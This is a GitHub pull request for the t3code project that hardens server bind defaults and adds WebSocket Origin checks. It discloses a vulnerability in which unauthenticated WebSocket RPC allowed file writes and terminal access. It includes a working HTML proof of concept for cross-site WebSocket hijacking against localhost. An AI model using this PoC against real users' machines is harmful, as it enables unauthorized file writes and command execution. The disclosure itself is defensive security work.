Skip to content
Source
Sign inSign up
pingdotgg/t3code

Harden server bind defaults and WebSocket origin checks #388

Closedbasilk15(GitHub profile, opens in a new tab)wants to merge 1 commit intomain fromrefs/pull/388/headopened View on GitHub

Summary

  • bind web mode to 127.0.0.1 by default
  • refuse non-loopback binds unless --auth-token is configured
  • reject browser WebSocket upgrades from foreign origins
  • add regression coverage for the new startup and handshake rules
  • document the safer remote-access behavior

Vulnerability

Before this change, the normal npx t3 flow started the WebSocket control plane without auth by default, and browser WebSocket upgrades were accepted without validating Origin.

That exposed privileged RPC methods such as:

  • projects.writeFile
  • terminal.open
  • terminal.write
  • git and orchestration commands

Impact:

  • unauthorized file writes in the active workspace
  • unauthorized terminal access as the local user
  • browser-based cross-site WebSocket hijacking against localhost

PoC

  1. Start the app with the normal flow: npx t3

  2. Open this HTML from any foreign origin. Use ws://127.0.0.1:3773/ for localhost abuse, or ws://<victim-ip>:3773/ when the server is intentionally exposed over the network.

<!doctype html>
<meta charset="utf-8" />
<script>
const target = "ws://127.0.0.1:3773/";
const ws = new WebSocket(target);
const send = (id, body) => ws.send(JSON.stringify({ id: String(id), body }));
let ran = false;

ws.onmessage = (event) => {
  const msg = JSON.parse(event.data);
  console.log("recv", msg);

  if (!ran && msg.type === "push" && msg.channel === "server.welcome") {
    ran = true;
    const cwd = msg.data.cwd;

    send(1, {
      _tag: "projects.writeFile",
      cwd,
      relativePath: ".t3code-poc.txt",
      contents: "unauthorized write via websocket\n"
    });

    send(2, {
      _tag: "terminal.open",
      threadId: "poc-thread",
      cwd,
      cols: 120,
      rows: 30
    });

    setTimeout(() => {
      send(3, {
        _tag: "terminal.write",
        threadId: "poc-thread",
        terminalId: "default",
        data: "echo T3CODE_POC\n"
      });
    }, 300);
  }
};
</script>
  1. Expected result on the vulnerable build:
  • .t3code-poc.txt is created in the victim workspace
  • terminal output is received over the same socket

Fix details

  • web mode now binds to loopback by default
  • explicit non-loopback binds require --auth-token
  • browser clients must present a trusted Origin
  • Vite dev origin remains allowed for local development
  • non-browser clients without Origin are still allowed, which preserves existing tooling while the network boundary is now enforced by loopback defaults and token-gated remote binds

Validation

  • bun lint ✅
  • bun typecheck ✅
  • attempted targeted apps/server Vitest coverage, but Vitest worker forks exited unexpectedly in this environment after the suites started; the failure did not surface an assertion-level regression

Note

Default the web server bind to loopback and block non-loopback binds without --auth-token, and enforce WebSocket Origin checks in wsServer.ts

Set loopback as the default host in server config, add a startup guard rejecting non-loopback binds without an auth token, and validate browser WebSocket upgrades against trusted Origins; move host utilities to config.ts and update tests.

📍Where to Start

Start with ServerConfigLive and the startup guard in main.ts, then review isTrustedBrowserOrigin in wsServer.ts.

Macroscope summarized 3c27d3e.
    1. Important

      Review skipped

      Auto reviews are disabled on this repository. Please check the settings in the CodeRabbit UI or the .coderabbit.yaml file in this repository. To trigger a single review, invoke the @coderabbitai review command.

      ⚙️ Run configuration

      Configuration used: Repository UI

      Review profile: CHILL

      Plan: Pro

      Run ID: 19caef51-7e90-4d59-87cc-48eecd31de13

      You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

      Use the checkbox below for a quick retry:

      • 🔍 Trigger review
      ✨ Finishing Touches
      🧪 Generate unit tests (beta)
      • Create PR with unit tests
      • Post copyable unit tests in a comment

      Tip

      Try Coding Plans. Let us write the prompt for your AI agent so you can ship faster (with fewer bugs). Share your feedback on Discord.


      Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

      ❤️ Share
      Comment `@coderabbitai help` to get the list of available commands and usage tips.
    2. github-actions[bot](GitHub profile, opens in a new tab) added labelsvouch:unvouched

    3. juliusmarminge closed this

Sign in to join this conversation.